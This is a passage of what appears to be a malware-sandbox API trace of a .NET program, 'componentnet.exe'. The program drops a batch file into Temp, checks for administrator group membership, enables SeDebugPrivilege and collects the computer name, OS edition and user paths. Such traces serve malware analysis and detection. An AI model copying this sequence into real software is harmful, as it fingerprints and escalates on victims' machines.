dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4d4 [0137.049] GetFileType (hFile=0x4d4) returned 0x1 [0137.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10dd20) returned 1 [0137.049] GetFileType (hFile=0x4d4) returned 0x1 [0137.050] WriteFile (in: hFile=0x4d4, lpBuffer=0x2fa9e18*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1b10dde8, lpOverlapped=0x0 | out: lpBuffer=0x2fa9e18*, lpNumberOfBytesWritten=0x1b10dde8*=0x19, lpOverlapped=0x0) returned 1 [0137.051] CloseHandle (hObject=0x4d4) returned 1 [0137.054] CoTaskMemAlloc (cb=0x20c) returned 0x1b993090 [0137.054] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b993090 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0137.054] CoTaskMemFree (pv=0x1b993090) [0137.054] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1b10daf0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0137.054] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b10db10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0137.054] CoTaskMemAlloc (cb=0x20c) returned 0x1b9921b0 [0137.054] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b9921b0 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0137.055] CoTaskMemFree (pv=0x1b9921b0) [0137.055] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1b10daf0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0137.055] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b10db10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\qNTQybFaba", nBufferLength=0x105, lpBuffer=0x1b10db20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\qNTQybFaba", lpFilePart=0x0) returned 0x33 [0137.059] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\qNTQybFaba" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\qntqybfaba")) returned 1 [0137.062] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat", nBufferLength=0x105, lpBuffer=0x1b10db20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat", lpFilePart=0x0) returned 0x37 [0137.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10e000) returned 1 [0137.062] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4d4 [0137.063] GetFileType (hFile=0x4d4) returned 0x1 [0137.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10df70) returned 1 [0137.063] GetFileType (hFile=0x4d4) returned 0x1 [0137.063] WriteFile (in: hFile=0x4d4, lpBuffer=0x2fae198*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x1b10e038, lpOverlapped=0x0 | out: lpBuffer=0x2fae198*, lpNumberOfBytesWritten=0x1b10e038*=0xd6, lpOverlapped=0x0) returned 1 [0137.065] CloseHandle (hObject=0x4d4) returned 1 [0137.077] GetCurrentProcess () returned 0xffffffffffffffff [0137.077] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b10e0c8 | out: TokenHandle=0x1b10e0c8*=0x4d4) returned 1 [0137.086] GetTokenInformation (in: TokenHandle=0x4d4, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b10e128 | out: TokenInformation=0x0, ReturnLength=0x1b10e128) returned 0 [0137.086] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b422d10 [0137.086] GetTokenInformation (in: TokenHandle=0x4d4, TokenInformationClass=0x8, TokenInformation=0x1b422d10, TokenInformationLength=0x4, ReturnLength=0x1b10e128 | out: TokenInformation=0x1b422d10, ReturnLength=0x1b10e128) returned 1 [0137.086] LocalFree (hMem=0x1b422d10) returned 0x0 [0137.086] DuplicateTokenEx (in: hExistingToken=0x4d4, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b10e188 | out: phNewToken=0x1b10e188*=0x4d8) returned 1 [0137.086] CheckTokenMembership (in: TokenHandle=0x4d8, SidToCheck=0x2faf670*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b10e190 | out: IsMember=0x1b10e190) returned 1 [0137.086] CloseHandle (hObject=0x4d8) returned 1 [0137.106] LocalAlloc (uFlags=0x0, uBytes=0x72) returned 0x1b3c9800 [0137.106] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0x1b462900 [0138.298] LocalFree (hMem=0x1b3c9800) returned 0x0 [0138.298] LocalFree (hMem=0x1b462900) returned 0x0 [0138.299] CoGetContextToken (in: pToken=0x1b10e080 | out: pToken=0x1b10e080) returned 0x0 [0138.299] IUnknown:QueryInterface (in: This=0x3111c0, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10e0b8 | out: ppvObject=0x1b10e0b8*=0x3111d8) returned 0x0 [0138.299] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b10e190 | out: pThreadType=0x1b10e190*=0) returned 0x0 [0138.299] IUnknown:Release (This=0x3111d8) returned 0x1 [0138.300] CoGetContextToken (in: pToken=0x1b10db90 | out: pToken=0x1b10db90) returned 0x0 [0138.300] IUnknown:QueryInterface (in: This=0x3111c0, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10dbc8 | out: ppvObject=0x1b10dbc8*=0x3111d8) returned 0x0 [0138.300] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b10dc38 | out: pThreadType=0x1b10dc38*=0) returned 0x0 [0138.300] IUnknown:Release (This=0x3111d8) returned 0x1 [0138.301] CoGetContextToken (in: pToken=0x1b10db90 | out: pToken=0x1b10db90) returned 0x0 [0138.301] IUnknown:QueryInterface (in: This=0x3111c0, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10dbc8 | out: ppvObject=0x1b10dbc8*=0x3111d8) returned 0x0 [0138.302] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b10dc38 | out: pThreadType=0x1b10dc38*=0) returned 0x0 [0138.302] IUnknown:Release (This=0x3111d8) returned 0x1 [0138.321] CoGetContextToken (in: pToken=0x1b10db90 | out: pToken=0x1b10db90) returned 0x0 [0138.321] IUnknown:QueryInterface (in: This=0x3111c0, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10dbc8 | out: ppvObject=0x1b10dbc8*=0x3111d8) returned 0x0 [0138.322] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b10dc38 | out: pThreadType=0x1b10dc38*=0) returned 0x0 [0138.322] IUnknown:Release (This=0x3111d8) returned 0x1 [0138.378] CoGetContextToken (in: pToken=0x1b10dbb0 | out: pToken=0x1b10dbb0) returned 0x0 [0138.378] IUnknown:QueryInterface (in: This=0x3111c0, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10dbe8 | out: ppvObject=0x1b10dbe8*=0x3111d8) returned 0x0 [0138.378] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b10dc58 | out: pThreadType=0x1b10dc58*=0) returned 0x0 [0138.378] IUnknown:Release (This=0x3111d8) returned 0x1 Thread: id = 39 os_tid = 0x11f0 Thread: id = 40 os_tid = 0x1204 [0100.136] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0100.137] CoGetContextToken (in: pToken=0x1b20f5d0 | out: pToken=0x1b20f5d0) returned 0x0 [0100.137] CObjectContext::QueryInterface () returned 0x0 [0100.137] CObjectContext::GetCurrentThreadType () returned 0x0 [0100.137] Release () returned 0x0 [0100.137] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0100.137] CoUninitialize () [0100.137] RoInitialize () returned 0x1 [0100.137] RoUninitialize () returned 0x0 [0102.915] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e8 [0102.916] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2ec [0102.939] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b20c3e8 | out: phkResult=0x1b20c3e8*=0x2f0) returned 0x0 [0102.941] RegQueryValueExW (in: hKey=0x2f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b20c438, lpData=0x0, lpcbData=0x1b20c430*=0x0 | out: lpType=0x1b20c438*=0x1, lpData=0x0, lpcbData=0x1b20c430*=0xe) returned 0x0 [0102.941] RegQueryValueExW (in: hKey=0x2f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b20c438, lpData=0x2415690, lpcbData=0x1b20c430*=0xe | out: lpType=0x1b20c438*=0x1, lpData="Client", lpcbData=0x1b20c430*=0xe) returned 0x0 [0102.942] RegCloseKey (hKey=0x2f0) returned 0x0 [0103.617] GetCurrentProcess () returned 0xffffffffffffffff [0103.618] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bd38 | out: TokenHandle=0x1b20bd38*=0x2f0) returned 1 [0103.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b20b750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0103.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b20bde0 | out: lpFileInformation=0x1b20bde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0103.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b20b770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0103.638] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b20bdd8 | out: lpFileInformation=0x1b20bdd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0103.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b20b770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0103.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b20bc50) returned 1 [0103.643] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2f4 [0103.643] GetFileType (hFile=0x2f4) returned 0x1 [0103.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b20bbc0) returned 1 [0103.643] GetFileType (hFile=0x2f4) returned 0x1 [0103.677] GetFileSize (in: hFile=0x2f4, lpFileSizeHigh=0x1b20bd28 | out: lpFileSizeHigh=0x1b20bd28*=0x0) returned 0x8c8f [0103.677] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20bc98, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20bc98*=0x1000, lpOverlapped=0x0) returned 1 [0103.701] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20ba78, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20ba78*=0x1000, lpOverlapped=0x0) returned 1 [0103.709] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b868, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b868*=0x1000, lpOverlapped=0x0) returned 1 [0103.710] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b868, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b868*=0x1000, lpOverlapped=0x0) returned 1 [0103.711] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b868, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b868*=0x1000, lpOverlapped=0x0) returned 1 [0103.712] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b728, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b728*=0x1000, lpOverlapped=0x0) returned 1 [0103.720] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b968, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b968*=0x1000, lpOverlapped=0x0) returned 1 [0103.723] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b818, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b818*=0x1000, lpOverlapped=0x0) returned 1 [0103.723] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b818, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b818*=0xc8f, lpOverlapped=0x0) returned 1 [0103.723] ReadFile (in: hFile=0x2f4, lpBuffer=0x2419ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b20b938, lpOverlapped=0x0 | out: lpBuffer=0x2419ee0*, lpNumberOfBytesRead=0x1b20b938*=0x0, lpOverlapped=0x0) returned 1 [0103.724] CloseHandle (hObject=0x2f4) returned 1 [0103.726] GetCurrentProcess () returned 0xffffffffffffffff [0103.726] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bf68 | out: TokenHandle=0x1b20bf68*=0x2f4) returned 1 [0103.726] GetCurrentProcess () returned 0xffffffffffffffff [0103.726] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bf68 | out: TokenHandle=0x1b20bf68*=0x2f8) returned 1 [0103.728] GetCurrentProcess () returned 0xffffffffffffffff [0103.728] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bd38 | out: TokenHandle=0x1b20bd38*=0x2fc) returned 1 [0103.728] GetFileAttributesExW (in: lpFileName="C:\\portSession\\componentnet.exe.config" (normalized: "c:\\portsession\\componentnet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b20bde0 | out: lpFileInformation=0x1b20bde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.729] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe.config", nBufferLength=0x105, lpBuffer=0x1b20b770, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe.config", lpFilePart=0x0) returned 0x26 [0103.729] GetFileAttributesExW (in: lpFileName="C:\\portSession\\componentnet.exe.config" (normalized: "c:\\portsession\\componentnet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b20bdd8 | out: lpFileInformation=0x1b20bdd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.731] GetCurrentProcess () returned 0xffffffffffffffff [0103.731] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bf68 | out: TokenHandle=0x1b20bf68*=0x300) returned 1 [0103.731] GetCurrentProcess () returned 0xffffffffffffffff [0103.731] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bf68 | out: TokenHandle=0x1b20bf68*=0x304) returned 1 [0103.763] GetCurrentProcess () returned 0xffffffffffffffff [0103.763] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bcc8 | out: TokenHandle=0x1b20bcc8*=0x308) returned 1 [0103.792] GetCurrentProcess () returned 0xffffffffffffffff [0103.793] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20bcd8 | out: TokenHandle=0x1b20bcd8*=0x30c) returned 1 [0103.873] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b20e1a8 | out: phkResult=0x1b20e1a8*=0x310) returned 0x0 [0103.874] RegQueryValueExW (in: hKey=0x310, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b20e1e8, lpData=0x0, lpcbData=0x1b20e1e0*=0x0 | out: lpType=0x1b20e1e8*=0x4, lpData=0x0, lpcbData=0x1b20e1e0*=0x4) returned 0x0 [0103.875] RegQueryValueExW (in: hKey=0x310, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b20e1e8, lpData=0x1b20e1c8, lpcbData=0x1b20e1e0*=0x4 | out: lpType=0x1b20e1e8*=0x4, lpData=0x1b20e1c8*=0x1, lpcbData=0x1b20e1e0*=0x4) returned 0x0 [0103.878] RegQueryValueExW (in: hKey=0x310, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b20e258, lpData=0x0, lpcbData=0x1b20e250*=0x0 | out: lpType=0x1b20e258*=0x4, lpData=0x0, lpcbData=0x1b20e250*=0x4) returned 0x0 [0103.881] RegCloseKey (hKey=0x310) returned 0x0 [0103.891] GetCurrentProcessId () returned 0x388 [0103.901] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1b20d200 | out: lpLuid=0x1b20d200*(LowPart=0x14, HighPart=0)) returned 1 [0103.905] GetCurrentProcess () returned 0xffffffffffffffff [0103.905] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1b20d1f8 | out: TokenHandle=0x1b20d1f8*=0x318) returned 1 [0103.906] AdjustTokenPrivileges (in: TokenHandle=0x318, DisableAllPrivileges=0, NewState=0x24412e8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0103.906] CloseHandle (hObject=0x318) returned 1 [0103.908] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x388) returned 0x318 [0103.929] EnumProcessModules (in: hProcess=0x318, lphModule=0x2441350, cb=0x200, lpcbNeeded=0x1b20e1b0 | out: lphModule=0x2441350, lpcbNeeded=0x1b20e1b0) returned 1 [0103.933] GetModuleInformation (in: hProcess=0x318, hModule=0x3a0000, lpmodinfo=0x24415c0, cb=0x18 | out: lpmodinfo=0x24415c0*(lpBaseOfDll=0x3a0000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0103.934] CoTaskMemAlloc (cb=0x804) returned 0x365230 [0103.935] GetModuleBaseNameW (in: hProcess=0x318, hModule=0x3a0000, lpBaseName=0x365230, nSize=0x800 | out: lpBaseName="componentnet.exe") returned 0x10 [0103.936] CoTaskMemFree (pv=0x365230) [0103.936] CoTaskMemAlloc (cb=0x804) returned 0x365230 [0103.936] GetModuleFileNameExW (in: hProcess=0x318, hModule=0x3a0000, lpFilename=0x365230, nSize=0x800 | out: lpFilename="C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe")) returned 0x1f [0103.937] CoTaskMemFree (pv=0x365230) [0103.938] CloseHandle (hObject=0x318) returned 1 [0103.940] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe", nBufferLength=0x105, lpBuffer=0x1b20dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe", lpFilePart=0x0) returned 0x1f [0103.940] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SecurityProtocol", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b20e1a8 | out: phkResult=0x1b20e1a8*=0x0) returned 0x2 [0103.976] GetCurrentProcessId () returned 0x388 [0103.977] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x388) returned 0x318 [0103.977] EnumProcessModules (in: hProcess=0x318, lphModule=0x2447ab0, cb=0x200, lpcbNeeded=0x1b20e1c0 | out: lphModule=0x2447ab0, lpcbNeeded=0x1b20e1c0) returned 1 [0103.977] GetModuleInformation (in: hProcess=0x318, hModule=0x3a0000, lpmodinfo=0x2447d20, cb=0x18 | out: lpmodinfo=0x2447d20*(lpBaseOfDll=0x3a0000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0103.978] CoTaskMemAlloc (cb=0x804) returned 0x365230 [0103.978] GetModuleBaseNameW (in: hProcess=0x318, hModule=0x3a0000, lpBaseName=0x365230, nSize=0x800 | out: lpBaseName="componentnet.exe") returned 0x10 [0103.978] CoTaskMemFree (pv=0x365230) [0103.978] CoTaskMemAlloc (cb=0x804) returned 0x365230 [0103.978] GetModuleFileNameExW (in: hProcess=0x318, hModule=0x3a0000, lpFilename=0x365230, nSize=0x800 | out: lpFilename="C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe")) returned 0x1f [0103.978] CoTaskMemFree (pv=0x365230) [0103.978] CloseHandle (hObject=0x318) returned 1 [0103.978] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe", nBufferLength=0x105, lpBuffer=0x1b20dd00, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe", lpFilePart=0x0) returned 0x1f [0103.979] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b20e1b8 | out: phkResult=0x1b20e1b8*=0x0) returned 0x2 [0103.979] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b20e1b8 | out: phkResult=0x1b20e1b8*=0x318) returned 0x0 [0103.979] RegQueryValueExW (in: hKey=0x318, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1b20e1f8, lpData=0x0, lpcbData=0x1b20e1f0*=0x0 | out: lpType=0x1b20e1f8*=0x0, lpData=0x0, lpcbData=0x1b20e1f0*=0x0) returned 0x2 [0103.979] RegCloseKey (hKey=0x318) returned 0x0 [0104.187] CoTaskMemAlloc (cb=0x20c) returned 0x35edc0 [0104.187] GetSystemDirectoryW (in: lpBuffer=0x35edc0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0104.187] CoTaskMemFree (pv=0x35edc0) [0104.217] GetComputerNameW (in: lpBuffer=0x1b20ca20, nSize=0x1b20cd48 | out: lpBuffer="XC64ZB", nSize=0x1b20cd48) returned 1 [0104.388] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b20b748 | out: phkResult=0x1b20b748*=0x2c0) returned 0x0 [0104.454] RegQueryValueExW (in: hKey=0x2c0, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b20b798, lpData=0x0, lpcbData=0x1b20b790*=0x0 | out: lpType=0x1b20b798*=0x1, lpData=0x0, lpcbData=0x1b20b790*=0x1e) returned 0x0 [0104.455] RegQueryValueExW (in: hKey=0x2c0, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b20b798, lpData=0x244b660, lpcbData=0x1b20b790*=0x1e | out: lpType=0x1b20b798*=0x1, lpData="Windows 10 Pro", lpcbData=0x1b20b790*=0x1e) returned 0x0 [0104.468] RegCloseKey (hKey=0x2c0) returned 0x0 [0104.526] CoTaskMemAlloc (cb=0x20c) returned 0x35d440 [0104.526] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x35d440 | out: pszPath="C:\\Users\\RDhJ0CNFevzX") returned 0x0 [0104.536] CoTaskMemFree (pv=0x35d440) [0104.536] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", 